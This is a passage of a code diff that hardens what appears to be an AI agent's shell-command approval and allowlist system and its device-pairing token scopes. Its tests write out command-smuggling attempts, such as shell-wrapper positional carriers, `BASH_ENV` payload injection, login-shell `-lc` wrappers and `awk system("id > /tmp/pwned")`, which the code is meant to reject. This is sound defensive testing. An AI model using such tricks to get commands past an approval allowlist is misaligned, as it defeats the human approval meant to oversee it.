--- /dev/null +++ b/src/infra/command-explainer/format.test.ts @@ -0,0 +1,104 @@ +import { describe, expect, it } from "vitest"; +import { explainShellCommand } from "./extract.js"; +import { formatCommandSpans } from "./format.js"; +import type { CommandExplanation, SourceSpan } from "./types.js"; + +function span(startIndex: number, endIndex: number): SourceSpan { + return { + startIndex, + endIndex, + startPosition: { row: 0, column: startIndex }, + endPosition: { row: 0, column: endIndex }, + }; +} + +describe("formatCommandSpans", () => { + it("returns executable token spans without risk or severity metadata", () => { + const explanation: CommandExplanation = { + ok: true, + source: 'ls | grep "stuff" | python -c \'print("hi")\'', + shapes: ["pipeline"], + topLevelCommands: [ + { + context: "top-level", + executable: "ls", + argv: ["ls"], + text: "ls", + span: span(0, 2), + executableSpan: span(0, 2), + }, + { + context: "top-level", + executable: "grep", + argv: ["grep", "stuff"], + text: 'grep "stuff"', + span: span(5, 17), + executableSpan: span(5, 9), + }, + { + context: "top-level", + executable: "python", + argv: ["python", "-c", 'print("hi")'], + text: "python -c 'print(\"hi\")'", + span: span(20, 42), + executableSpan: span(20, 26), + }, + ], + nestedCommands: [], + risks: [ + { + kind: "inline-eval", + command: "python", + flag: "-c", + text: "python -c 'print(\"hi\")'", + span: span(20, 42), + }, + ], + }; + + expect(formatCommandSpans(explanation)).toEqual([ + { startIndex: 0, endIndex: 2 }, + { startIndex: 5, endIndex: 9 }, + { startIndex: 20, endIndex: 26 }, + ]); + }); + + it("anchors command spans to executable tokens after env assignments", async () => { + const explanation = await explainShellCommand("FOO=1 python -c 'print(1)'"); + + expect(formatCommandSpans(explanation)).toContainEqual({ startIndex: 6, endIndex: 12 }); + }); + + it("includes nested executable spans from shell wrapper payloads", async () => { + const explanation = await explainShellCommand( + 'sh -c \'echo checking "$1"; node -e "console.log(process.argv[1])" "$1"\' sh file.ts', + ); + + const commandTexts = formatCommandSpans(explanation).map((commandSpan) => + explanation.source.slice(commandSpan.startIndex, commandSpan.endIndex), + ); + expect(commandTexts).toEqual(expect.arrayContaining(["sh", "echo", "node"])); + }); + + it("ignores invalid executable spans", () => { + const explanation: CommandExplanation = { + ok: true, + source: "echo hi", + shapes: [], + topLevelCommands: [ + { + context: "top-level", + executable: "echo", + argv: ["echo", "hi"], + text: "echo hi", + span: span(0, 7), + executableSpan: span(4, 4), + }, + ], + nestedCommands: [], + risks: [], + }; + + expect(formatCommandSpans(explanation)).toEqual([]); + }); +}); diff --git a/src/infra/command-explainer/format.ts b/src/infra/command-explainer/format.ts new file mode 100644 index 00000000000..5b18f02ecb5 --- /dev/null +++ b/src/infra/command-explainer/format.ts @@ -0,0 +1,27 @@ +import type { ExecApprovalCommandSpan } from "../exec-approvals.js"; +import type { CommandExplanation } from "./types.js"; + +function spanToCommandSpan(span: { + startIndex: number; + endIndex: number; +}): ExecApprovalCommandSpan | null { + if (!Number.isSafeInteger(span.startIndex) || !Number.isSafeInteger(span.endIndex)) { + return null; + } + if (span.startIndex < 0 || span.endIndex <= span.startIndex) { + return null; + } + return { startIndex: span.startIndex, endIndex: span.endIndex }; +} + +export function formatCommandSpans(explanation: CommandExplanation): ExecApprovalCommandSpan[] { + const commandSpans: ExecApprovalCommandSpan[] = []; + + for (const command of [...explanation.topLevelCommands, ...explanation.nestedCommands]) { + const commandSpan = spanToCommandSpan(command.executableSpan); + if (commandSpan) { + commandSpans.push(commandSpan); + } + } + return commandSpans; +} diff --git a/src/infra/command-explainer/index.ts b/src/infra/command-explainer/index.ts index 57414ac1430..07757feb433 100644 --- a/src/infra/command-explainer/index.ts +++ b/src/infra/command-explainer/index.ts @@ -1,4 +1,5 @@ export { explainShellCommand } from "./extract.js"; +export { formatCommandSpans } from "./format.js"; export type { CommandContext, CommandExplanation, diff --git a/src/infra/command-explainer/types.ts b/src/infra/command-explainer/types.ts index 8ee70539db4..bfc620b78bf 100644 --- a/src/infra/command-explainer/types.ts +++ b/src/infra/command-explainer/types.ts @@ -31,6 +31,7 @@ export type CommandStep = { argv: string[]; text: string; span: SourceSpan; + executableSpan: SourceSpan; }; export type CommandRisk = diff --git a/src/infra/device-pairing.test.ts b/src/infra/device-pairing.test.ts index f6f85fa64f5..6020ed5cbe2 100644 --- a/src/infra/device-pairing.test.ts +++ b/src/infra/device-pairing.test.ts @@ -333,6 +333,66 @@ describe("device pairing tokens", () => { ).resolves.toEqual({ ok: true }); }); + test("preserves existing operator token scopes when approving a scope upgrade", async () => { + const baseDir = await makeDevicePairingDir(); + await setupPairedOperatorDevice(baseDir, ["operator.read"]); + + const upgrade = await requestDevicePairing( + { + deviceId: "device-1", + publicKey: "public-key-1", + role: "operator", + scopes: ["operator.write"], + }, + baseDir, + ); + + await expect( + approveDevicePairing( + upgrade.request.requestId, + { callerScopes: ["operator.read", "operator.write"] }, + baseDir, + ), + ).resolves.toMatchObject({ status: "approved" }); + + const paired = await getPairedDevice("device-1", baseDir); + expect(paired?.approvedScopes).toEqual(["operator.read", "operator.write"]); + expect(paired?.tokens?.operator?.scopes).toEqual(["operator.read", "operator.write"]); + }); + + test("does not widen a down-scoped operator token when approving a scope upgrade", async () => { + const baseDir = await makeDevicePairingDir(); + await setupPairedOperatorDevice(baseDir, ["operator.read", "operator.write"]); + await overwritePairedOperatorTokenScopes(baseDir, ["operator.read"]); + + const upgrade = await requestDevicePairing( + { + deviceId: "device-1", + publicKey: "public-key-1", + role: "operator", + scopes: ["operator.talk.secrets"], + }, + baseDir, + ); + + await expect( + approveDevicePairing( + upgrade.request.requestId, + { callerScopes: ["operator.read", "operator.talk.secrets", "operator.write"] }, + baseDir, + ), + ).resolves.toMatchObject({ status: "approved" }); + + const paired = await getPairedDevice("device-1", baseDir); + expect(paired?.approvedScopes).toEqual([ + "operator.read", + "operator.write", + "operator.talk.secrets", + ]); + expect(paired?.tokens?.operator?.scopes).toEqual(["operator.read", "operator.talk.secrets"]); + expect(paired?.tokens?.operator?.scopes).not.toContain("operator.write"); + }); + test("preserves requested non-operator scopes on newly minted role tokens", async () => { const baseDir = await makeDevicePairingDir(); const request = await requestDevicePairing( diff --git a/src/infra/device-pairing.ts b/src/infra/device-pairing.ts index d56896b51ad..219499d8219 100644 --- a/src/infra/device-pairing.ts +++ b/src/infra/device-pairing.ts @@ -437,9 +437,23 @@ function resolveApprovedTokenScopes(params: { approvedScopes?: string[]; existing?: PairedDevice; }): string[] { - const requestedScopes = resolveRoleScopedDeviceTokenScopes(params.role, params.pending.scopes); - if (requestedScopes.length > 0) { - return requestedScopes; + const pendingScopes = resolveRoleScopedDeviceTokenScopes(params.role, params.pending.scopes); + if (pendingScopes.length > 0) { + const approvedBaseline = resolveRoleScopedDeviceTokenScopes( + params.role, + params.existing?.approvedScopes ?? params.existing?.scopes, + ); + const requestedScopeDelta = + params.existingToken && approvedBaseline.length > 0 + ? pendingScopes.filter((scope) => !approvedBaseline.includes(scope)) + : pendingScopes; + if (requestedScopeDelta.length === 0 && params.existingToken) { + return resolveRoleScopedDeviceTokenScopes(params.role, params.existingToken.scopes); + } + return resolveRoleScopedDeviceTokenScopes( + params.role, + mergeScopes(params.existingToken?.scopes, requestedScopeDelta), + ); } return resolveRoleScopedDeviceTokenScopes( params.role, @@ -614,16 +628,21 @@ export async function approveDevicePairing( }); nextTokenScopesByRole.set(roleForToken, nextScopes); if (roleForToken === OPERATOR_ROLE && nextScopes.length > 0) { + const callerRequiredScopes = + mergeScopes( + resolveRoleScopedDeviceTokenScopes(roleForToken, pending.scopes), + nextScopes, + ) ?? nextScopes; if (!options?.callerScopes) { return { status: "forbidden", reason: "caller-scopes-required", - scope: nextScopes[0], + scope: callerRequiredScopes[0], }; } const missingScope = resolveMissingRequestedScope({ role: OPERATOR_ROLE, - requestedScopes: nextScopes, + requestedScopes: callerRequiredScopes, allowedScopes: options.callerScopes, }); if (missingScope) { diff --git a/src/infra/exec-approval-forwarder.test.ts b/src/infra/exec-approval-forwarder.test.ts index 5592bc55bfd..5aaec9e3923 100644 --- a/src/infra/exec-approval-forwarder.test.ts +++ b/src/infra/exec-approval-forwarder.test.ts @@ -8,6 +8,7 @@ import { buildExecApprovalRequestMessage, createExecApprovalForwarder, } from "./exec-approval-forwarder.js"; +import type { ExecApprovalRequest } from "./exec-approvals.js"; const baseRequest = { id: "req-1", @@ -308,7 +309,11 @@ async function expectSessionFilterRequestResult(params: { expect(deliver).toHaveBeenCalledTimes(params.expectedDeliveryCount); } -async function expectForwardedApprovalText(params: { command?: string; expectedText: string }) { +async function expectForwardedApprovalText(params: { + command?: string; + request?: Partial; + expectedText: string; +}) { vi.useFakeTimers(); const { deliver, forwarder } = createForwarder({ cfg: TARGETS_CFG }); await expect( @@ -317,6 +322,7 @@ async function expectForwardedApprovalText(params: { command?: string; expectedT request: { ...baseRequest.request, ...(params.command ? { command: params.command } : {}), + ...params.request, }, }), ).resolves.toBe(true); diff --git a/src/infra/exec-approvals-allow-always.test.ts b/src/infra/exec-approvals-allow-always.test.ts index 1f19e0b4cff..644c7dc302e 100644 --- a/src/infra/exec-approvals-allow-always.test.ts +++ b/src/infra/exec-approvals-allow-always.test.ts @@ -324,8 +324,8 @@ describe("resolveAllowAlwaysPatterns", () => { const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: "/bin/zsh -lc 'whoami'", - argv: ["/bin/zsh", "-lc", "whoami"], + raw: "/bin/zsh -c 'whoami'", + argv: ["/bin/zsh", "-c", "whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: "/bin/zsh", @@ -353,8 +353,8 @@ describe("resolveAllowAlwaysPatterns", () => { const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: "/bin/zsh -lc 'whoami && ls && whoami'", - argv: ["/bin/zsh", "-lc", "whoami && ls && whoami"], + raw: "/bin/zsh -c 'whoami && ls && whoami'", + argv: ["/bin/zsh", "-c", "whoami && ls && whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: "/bin/zsh", @@ -437,12 +437,49 @@ describe("resolveAllowAlwaysPatterns", () => { } }); + it("rejects startup shell inline payloads for allow-always and inline-chain allowlist fallback", () => { + if (process.platform === "win32") { + return; + } + const dir = makeTempDir(); + const tool = makeExecutable(dir, "openclaw-ok"); + const env = { PATH: `${dir}${path.delimiter}${process.env.PATH ?? ""}` }; + const safeBins = resolveSafeBins(undefined); + + for (const command of [ + `bash --login -c "openclaw-ok && openclaw-ok"`, + `bash -i -c "openclaw-ok && openclaw-ok"`, + `bash -lc "openclaw-ok && openclaw-ok"`, + `bash --login -c '$0 "$1"' ${tool} marker`, + `bash -i -c '$0 "$1"' ${tool} marker`, + `bash -lc '$0 "$1"' ${tool} marker`, + ]) { + const { persisted } = resolvePersistedPatterns({ + command, + dir, + env, + safeBins, + }); + expect(persisted).toEqual([]); + + const second = evaluateShellAllowlist({ + command, + allowlist: [{ pattern: tool }], + safeBins, + cwd: dir, + env, + platform: process.platform, + }); + expect(second.allowlistSatisfied).toBe(false); + } + }); + it("rejects shell-wrapper positional argv carriers", () => { if (process.platform === "win32") { return; } expectPositionalArgvCarrierResult({ - command: `sh -lc '$0 "$1"' touch {marker}`, + command: `sh -c '$0 "$1"' touch {marker}`, expectPersisted: true, }); }); @@ -452,7 +489,7 @@ describe("resolveAllowAlwaysPatterns", () => { return; } expectPositionalArgvCarrierResult({ - command: `sh -lc 'exec -- "$0" "$1"' touch {marker}`, + command: `sh -c 'exec -- "$0" "$1"' touch {marker}`, expectPersisted: true, }); }); @@ -462,7 +499,7 @@ describe("resolveAllowAlwaysPatterns", () => { return; } expectPositionalArgvCarrierResult({ - command: `sh -lc "'$0' "$1"" touch {marker}`, + command: `sh -c "'$0' "$1"" touch {marker}`, expectPersisted: false, }); }); @@ -472,7 +509,7 @@ describe("resolveAllowAlwaysPatterns", () => { return; } expectPositionalArgvCarrierResult({ - command: `sh -lc "exec + command: `sh -c "exec $0 \\"$1\\"" touch {marker}`, expectPersisted: false, }); @@ -489,7 +526,7 @@ $0 \\"$1\\"" touch {marker}`, const marker = path.join(dir, "marker"); const { persisted } = resolvePersistedPatterns({ - command: `sh -lc 'echo blocked; $0 "$1"' touch ${marker}`, + command: `sh -c 'echo blocked; $0 "$1"' touch ${marker}`, dir, env, safeBins, @@ -497,7 +534,7 @@ $0 \\"$1\\"" touch {marker}`, expect(persisted).not.toContain(touch); const second = evaluateShellAllowlist({ - command: `sh -lc 'echo blocked; $0 "$1"' touch ${marker}`, + command: `sh -c 'echo blocked; $0 "$1"' touch ${marker}`, allowlist: [{ pattern: touch }], safeBins, cwd: dir, @@ -515,7 +552,7 @@ $0 \\"$1\\"" touch {marker}`, expectAllowAlwaysBypassBlocked({ dir, firstCommand: "bash scripts/save_crystal.sh", - secondCommand: "bash -lc 'scripts/save_crystal.sh'", + secondCommand: "bash -c 'scripts/save_crystal.sh'", env, persistedPattern: script, }); @@ -564,8 +601,8 @@ $0 \\"$1\\"" touch {marker}`, const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: "/usr/local/bin/zsh -lc whoami", - argv: ["/usr/local/bin/zsh", "-lc", "whoami"], + raw: "/usr/local/bin/zsh -c whoami", + argv: ["/usr/local/bin/zsh", "-c", "whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: "/usr/local/bin/zsh", @@ -591,8 +628,8 @@ $0 \\"$1\\"" touch {marker}`, const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: "/usr/bin/nice /bin/zsh -lc whoami", - argv: ["/usr/bin/nice", "/bin/zsh", "-lc", "whoami"], + raw: "/usr/bin/nice /bin/zsh -c whoami", + argv: ["/usr/bin/nice", "/bin/zsh", "-c", "whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: "/usr/bin/nice", @@ -619,8 +656,8 @@ $0 \\"$1\\"" touch {marker}`, const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: "/usr/bin/time -p /bin/zsh -lc whoami", - argv: ["/usr/bin/time", "-p", "/bin/zsh", "-lc", "whoami"], + raw: "/usr/bin/time -p /bin/zsh -c whoami", + argv: ["/usr/bin/time", "-p", "/bin/zsh", "-c", "whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: "/usr/bin/time", @@ -650,8 +687,8 @@ $0 \\"$1\\"" touch {marker}`, const patterns = resolveAllowAlwaysPatterns({ segments: [ { - raw: `${busybox} sh -lc whoami`, - argv: [busybox, "sh", "-lc", "whoami"], + raw: `${busybox} sh -c whoami`, + argv: [busybox, "sh", "-c", "whoami"], resolution: makeMockCommandResolution({ execution: makeMockExecutableResolution({ rawExecutable: busybox, @@ -744,8 +781,8 @@ $0 \\"$1\\"" touch {marker}`, const env = makePathEnv(dir); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/caffeinate -d -w 42 /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/caffeinate -d -w 42 /bin/zsh -lc 'id > marker'", + firstCommand: "/usr/bin/caffeinate -d -w 42 /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/caffeinate -d -w 42 /bin/zsh -c 'id > marker'", env, persistedPattern: echo, }); @@ -761,8 +798,8 @@ $0 \\"$1\\"" touch {marker}`, const env = makePathEnv(dir); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/nice /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/nice /bin/zsh -lc 'id > marker'", + firstCommand: "/usr/bin/nice /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/nice /bin/zsh -c 'id > marker'", env, persistedPattern: echo, }); @@ -779,8 +816,8 @@ $0 \\"$1\\"" touch {marker}`, expectAllowAlwaysBypassBlocked({ dir, firstCommand: - "/usr/bin/sandbox-exec -p '(deny default) (allow process*)' /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/sandbox-exec -p '(allow default)' /bin/zsh -lc 'id > marker'", + "/usr/bin/sandbox-exec -p '(deny default) (allow process*)' /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/sandbox-exec -p '(allow default)' /bin/zsh -c 'id > marker'", env, persistedPattern: echo, }); @@ -796,8 +833,8 @@ $0 \\"$1\\"" touch {marker}`, const env = makePathEnv(dir); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/time -p /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/time -p /bin/zsh -lc 'id > marker'", + firstCommand: "/usr/bin/time -p /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/time -p /bin/zsh -c 'id > marker'", env, persistedPattern: echo, }); @@ -813,15 +850,15 @@ $0 \\"$1\\"" touch {marker}`, const env = makePathEnv(dir); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/arch -arm64 /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/arch -arm64 /bin/zsh -lc 'id > marker-arch'", + firstCommand: "/usr/bin/arch -arm64 /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/arch -arm64 /bin/zsh -c 'id > marker-arch'", env, persistedPattern: echo, }); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/xcrun /bin/zsh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/xcrun /bin/zsh -lc 'id > marker-xcrun'", + firstCommand: "/usr/bin/xcrun /bin/zsh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/xcrun /bin/zsh -c 'id > marker-xcrun'", env, persistedPattern: echo, }); @@ -873,7 +910,7 @@ $0 \\"$1\\"" touch {marker}`, const safeBins = resolveSafeBins(undefined); const { persisted } = resolvePersistedPatterns({ - command: `sh -lc '$0 "$@"' awk '{print $1}' data.csv`, + command: `sh -c '$0 "$@"' awk '{print $1}' data.csv`, dir, env, safeBins, @@ -881,7 +918,7 @@ $0 \\"$1\\"" touch {marker}`, expect(persisted).toEqual([]); const second = evaluateShellAllowlist({ - command: `sh -lc '$0 "$@"' awk 'BEGIN{system("id > /tmp/pwned")}'`, + command: `sh -c '$0 "$@"' awk 'BEGIN{system("id > /tmp/pwned")}'`, allowlist: persisted.map((pattern) => ({ pattern })), safeBins, cwd: dir, @@ -901,8 +938,8 @@ $0 \\"$1\\"" touch {marker}`, const env = makePathEnv(dir); expectAllowAlwaysBypassBlocked({ dir, - firstCommand: "/usr/bin/script -q /dev/null /bin/sh -lc 'echo warmup-ok'", - secondCommand: "/usr/bin/script -q /dev/null /bin/sh -lc 'id > marker'", + firstCommand: "/usr/bin/script -q /dev/null /bin/sh -c 'echo warmup-ok'", + secondCommand: "/usr/bin/script -q /dev/null /bin/sh -c 'id > marker'", env, persistedPattern: echo, }); @@ -935,7 +972,7 @@ $0 \\"$1\\"" touch {marker}`, const safeBins = resolveSafeBins(undefined); const { persisted } = resolvePersistedPatterns({ - command: `sh -lc '$0 "$@"' env echo SAFE`, + command: `sh -c '$0 "$@"' env echo SAFE`, dir, env, safeBins, @@ -943,7 +980,7 @@ $0 \\"$1\\"" touch {marker}`, expect(persisted).toEqual([]); const second = evaluateShellAllowlist({ - command: `sh -lc '$0 "$@"' env BASH_ENV=/tmp/payload.sh bash -lc 'id > /tmp/pwned'`, + command: `sh -c '$0 "$@"' env BASH_ENV=/tmp/payload.sh bash -c 'id > /tmp/pwned'`, allowlist: [{ pattern: envPath }], safeBins, cwd: dir, @@ -963,7 +1000,7 @@ $0 \\"$1\\"" touch {marker}`, const safeBins = resolveSafeBins(undefined); const { persisted } = resolvePersistedPatterns({ - command: `sh -lc '$0 "$@"' bash -lc 'echo safe'`, + command: `sh -c '$0 "$@"' bash -c 'echo safe'`, dir, env, safeBins, @@ -971,7 +1008,7 @@ $0 \\"$1\\"" touch {marker}`, expect(persisted).toEqual([]); const second = evaluateShellAllowlist({ - command: `sh -lc '$0 "$@"' bash -lc 'id > /tmp/pwned'`, + command: `sh -c '$0 "$@"' bash -c 'id > /tmp/pwned'`, allowlist: [{ pattern: bashPath }], safeBins, cwd: dir, @@ -991,7 +1028,7 @@ $0 \\"$1\\"" touch {marker}`, const safeBins = resolveSafeBins(undefined); const { persisted } = resolvePersistedPatterns({ - command: `sh -lc '$0 "$@"' xargs echo SAFE`, + command: `sh -c '$0 "$@"' xargs echo SAFE`, dir, env, safeBins, @@ -999,7 +1036,7 @@ $0 \\"$1\\"" touch {marker}`, expect(persisted).toEqual([]); const second = evaluateShellAllowlist({ - command: `sh -lc '$0 "$@"' xargs sh -lc 'id > /tmp/pwned'`, + command: `sh -c '$0 "$@"' xargs sh -c 'id > /tmp/pwned'`, allowlist: [{ pattern: xargsPath }], safeBins, cwd: dir, diff --git a/src/infra/exec-approvals-allowlist.ts b/src/infra/exec-approvals-allowlist.ts index 01a436f43b2..1414915c3f3 100644 --- a/src/infra/exec-approvals-allowlist.ts +++ b/src/infra/exec-approvals-allowlist.ts @@ -32,7 +32,7 @@ import { } from "./exec-safe-bin-policy.js"; import { isTrustedSafeBinPath } from "./exec-safe-bin-trust.js"; import { - extractShellWrapperInlineCommand, + extractBindableShellWrapperInlineCommand, isShellWrapperExecutable, normalizeExecutableToken, POWERSHELL_WRAPPERS, @@ -426,7 +426,7 @@ function resolveSegmentAllowlistMatch(params: { candidatePath && executableResolution ? { ...executableResolution, resolvedPath: candidatePath } : executableResolution; - const inlineCommand = extractShellWrapperInlineCommand(allowlistSegment.argv); + const inlineCommand = extractBindableShellWrapperInlineCommand(allowlistSegment.argv); const isPositionalCarrierInvocation = inlineCommand !== null && isDirectShellPositionalCarrierInvocation(inlineCommand); const executableMatch = isPositionalCarrierInvocation @@ -437,11 +437,14 @@ function resolveSegmentAllowlistMatch(params: { effectiveArgv, params.context.platform, ); - const shellPositionalArgvCandidatePath = resolveShellWrapperPositionalArgvCandidatePath({ - segment: allowlistSegment, - cwd: params.context.cwd, - env: params.context.env, - }); + const shellPositionalArgvCandidatePath = + inlineCommand !== null + ? resolveShellWrapperPositionalArgvCandidatePath({ + segment: allowlistSegment, + cwd: params.context.cwd, + env: params.context.env, + }) + : undefined; const shellPositionalArgvMatch = shellPositionalArgvCandidatePath ? matchAllowlist( params.context.allowlist, @@ -971,15 +974,6 @@ function collectAllowAlwaysPatterns(params: { addAllowAlwaysPattern(params.out, candidatePath, argPattern); return; } - const positionalArgvPath = resolveShellWrapperPositionalArgvCandidatePath({ - segment, - cwd: params.cwd, - env: params.env, - }); - if (positionalArgvPath) { - addAllowAlwaysPattern(params.out, positionalArgvPath); - return; - } const isPowerShellFileInvocation = POWERSHELL_WRAPPERS.has(normalizeExecutableToken(segment.argv[0] ?? "")) && segment.argv.some((t) => { @@ -990,9 +984,19 @@ function collectAllowAlwaysPatterns(params: { const lower = normalizeLowercaseStringOrEmpty(t); return lower === "-command" || lower === "-c" || lower === "--command"; }); - const inlineCommand = isPowerShellFileInvocation - ? null - : (trustPlan.shellInlineCommand ?? extractShellWrapperInlineCommand(segment.argv)); + const inlineCommand = isPowerShellFileInvocation ? null : trustPlan.shellInlineCommand; + const positionalArgvPath = + inlineCommand !== null + ? resolveShellWrapperPositionalArgvCandidatePath({ + segment, + cwd: params.cwd, + env: params.env, + }) + : undefined; + if (positionalArgvPath) { + addAllowAlwaysPattern(params.out, positionalArgvPath); + return; + } if (!inlineCommand) { const scriptPath = resolveShellWrapperScriptCandidatePath({ segment, diff --git a/src/infra/exec-approvals.ts b/src/infra/exec-approvals.ts index ebefb855a05..ad4e38ba136 100644 --- a/src/infra/exec-approvals.ts +++ b/src/infra/exec-approvals.ts @@ -109,6 +109,11 @@ export type SystemRunApprovalPlan = { mutableFileOperand?: SystemRunApprovalFileOperand | null; }; +export type ExecApprovalCommandSpan = { + startIndex: number; + endIndex: number; +}; + export type ExecApprovalRequestPayload = { command: string; commandPreview?: string | null; @@ -124,6 +129,7 @@ export type ExecApprovalRequestPayload = { ask?: string | null; warningText?: string | null; commandAnalysis?: CommandExplanationSummary | null; + commandSpans?: ExecApprovalCommandSpan[]; allowedDecisions?: readonly ExecApprovalDecision[]; agentId?: string | null; resolvedPath?: string | null; diff --git a/src/infra/exec-wrapper-resolution.test.ts b/src/infra/exec-wrapper-resolution.test.ts index 32d87d73bdc..94f64d900c3 100644 --- a/src/infra/exec-wrapper-resolution.test.ts +++ b/src/infra/exec-wrapper-resolution.test.ts @@ -471,12 +471,12 @@ describe("extractShellWrapperCommand", () => { { argv: ["bash", "-lc", "echo hi"], expectedInline: "echo hi", - expectedCommand: { isWrapper: true, command: "echo hi" }, + expectedCommand: { isWrapper: true, command: null }, }, { argv: ["busybox", "sh", "-lc", "echo hi"], expectedInline: "echo hi", - expectedCommand: { isWrapper: true, command: "echo hi" }, + expectedCommand: { isWrapper: true, command: null }, }, { argv: ["env", "--", "pwsh", "-Command", "Get-Date"], @@ -494,7 +494,7 @@ describe("extractShellWrapperCommand", () => { }); test("prefers an explicit raw command override when provided", () => { - expect(extractShellWrapperCommand(["bash", "-lc", "echo hi"], " run this instead ")).toEqual({ + expect(extractShellWrapperCommand(["bash", "-c", "echo hi"], " run this instead ")).toEqual({ isWrapper: true, command: "run this instead", }); diff --git a/src/infra/exec-wrapper-resolution.ts b/src/infra/exec-wrapper-resolution.ts index 91ca1e3a4c9..2f8b89d7b1e 100644 --- a/src/infra/exec-wrapper-resolution.ts +++ b/src/infra/exec-wrapper-resolution.ts @@ -8,9 +8,11 @@ export { unwrapKnownDispatchWrapperInvocation, } from "./dispatch-wrapper-resolution.js"; export { + extractBindableShellWrapperInlineCommand, extractShellWrapperCommand, extractShellWrapperInlineCommand, hasEnvManipulationBeforeShellWrapper, + isBlockedShellWrapperCommand, isShellWrapperExecutable, isShellWrapperInvocation, POSIX_SHELL_WRAPPERS, diff --git a/src/infra/exec-wrapper-trust-plan.test.ts b/src/infra/exec-wrapper-trust-plan.test.ts index f07b11290a9..c6cad59b5a2 100644 --- a/src/infra/exec-wrapper-trust-plan.test.ts +++ b/src/infra/exec-wrapper-trust-plan.test.ts @@ -6,10 +6,10 @@ describe("resolveExecWrapperTrustPlan", () => { { name: "unwraps transparent caffeinate wrappers before shell policy checks", enabled: process.platform !== "win32", - argv: ["/usr/bin/caffeinate", "-d", "-w", "42", "sh", "-lc", "echo hi"], + argv: ["/usr/bin/caffeinate", "-d", "-w", "42", "sh", "-c", "echo hi"], expected: { - argv: ["sh", "-lc", "echo hi"], - policyArgv: ["sh", "-lc", "echo hi"], + argv: ["sh", "-c", "echo hi"], + policyArgv: ["sh", "-c", "echo hi"], wrapperChain: ["caffeinate"], policyBlocked: false, shellWrapperExecutable: true, @@ -19,10 +19,10 @@ describe("resolveExecWrapperTrustPlan", () => { { name: "unwraps dispatch wrappers and shell multiplexers into one trust plan", enabled: process.platform !== "win32", - argv: ["/usr/bin/time", "-p", "busybox", "sh", "-lc", "echo hi"], + argv: ["/usr/bin/time", "-p", "busybox", "sh", "-c", "echo hi"], expected: { - argv: ["sh", "-lc", "echo hi"], - policyArgv: ["busybox", "sh", "-lc", "echo hi"], + argv: ["sh", "-c", "echo hi"], + policyArgv: ["busybox", "sh", "-c", "echo hi"], wrapperChain: ["time", "busybox"], policyBlocked: false, shellWrapperExecutable: true, @@ -32,10 +32,10 @@ describe("resolveExecWrapperTrustPlan", () => { { name: "unwraps script wrappers before evaluating nested shell payloads", enabled: process.platform === "darwin" || process.platform === "freebsd", - argv: ["/usr/bin/script", "-q", "/dev/null", "sh", "-lc", "echo hi"], + argv: ["/usr/bin/script", "-q", "/dev/null", "sh", "-c", "echo hi"], expected: { - argv: ["sh", "-lc", "echo hi"], - policyArgv: ["sh", "-lc", "echo hi"], + argv: ["sh", "-c", "echo hi"], + policyArgv: ["sh", "-c", "echo hi"], wrapperChain: ["script"], policyBlocked: false, shellWrapperExecutable: true, @@ -45,16 +45,29 @@ describe("resolveExecWrapperTrustPlan", () => { { name: "unwraps sandbox-exec wrappers before evaluating nested shell payloads", enabled: process.platform !== "win32", - argv: ["/usr/bin/sandbox-exec", "-p", "(allow default)", "sh", "-lc", "echo hi"], + argv: ["/usr/bin/sandbox-exec", "-p", "(allow default)", "sh", "-c", "echo hi"], expected: { - argv: ["sh", "-lc", "echo hi"], - policyArgv: ["sh", "-lc", "echo hi"], + argv: ["sh", "-c", "echo hi"], + policyArgv: ["sh", "-c", "echo hi"], wrapperChain: ["sandbox-exec"], policyBlocked: false, shellWrapperExecutable: true, shellInlineCommand: "echo hi", }, }, + { + name: "omits startup shell inline payloads from trust plans", + enabled: process.platform !== "win32", + argv: ["bash", "--login", "-c", "echo hi"], + expected: { + argv: ["bash", "--login", "-c", "echo hi"], + policyArgv: ["bash", "--login", "-c", "echo hi"], + wrapperChain: [], + policyBlocked: false, + shellWrapperExecutable: true, + shellInlineCommand: null, + }, + }, { name: "fails closed for unsupported shell multiplexer applets", enabled: true, diff --git a/src/infra/exec-wrapper-trust-plan.ts b/src/infra/exec-wrapper-trust-plan.ts index bad51530746..04c90681294 100644 --- a/src/infra/exec-wrapper-trust-plan.ts +++ b/src/infra/exec-wrapper-trust-plan.ts @@ -4,7 +4,7 @@ import { unwrapKnownDispatchWrapperInvocation, } from "./dispatch-wrapper-resolution.js"; import { - extractShellWrapperInlineCommand, + extractBindableShellWrapperInlineCommand, isShellWrapperExecutable, unwrapKnownShellMultiplexerInvocation, } from "./shell-wrapper-resolution.js"; @@ -46,15 +46,20 @@ function finalizeExecWrapperTrustPlan( const rawExecutable = argv[0]?.trim() ?? ""; const shellWrapperExecutable = !policyBlocked && rawExecutable.length > 0 && isShellWrapperExecutable(rawExecutable); - return { + const plan: ExecWrapperTrustPlan = { argv, policyArgv, wrapperChain, policyBlocked, - blockedWrapper, shellWrapperExecutable, - 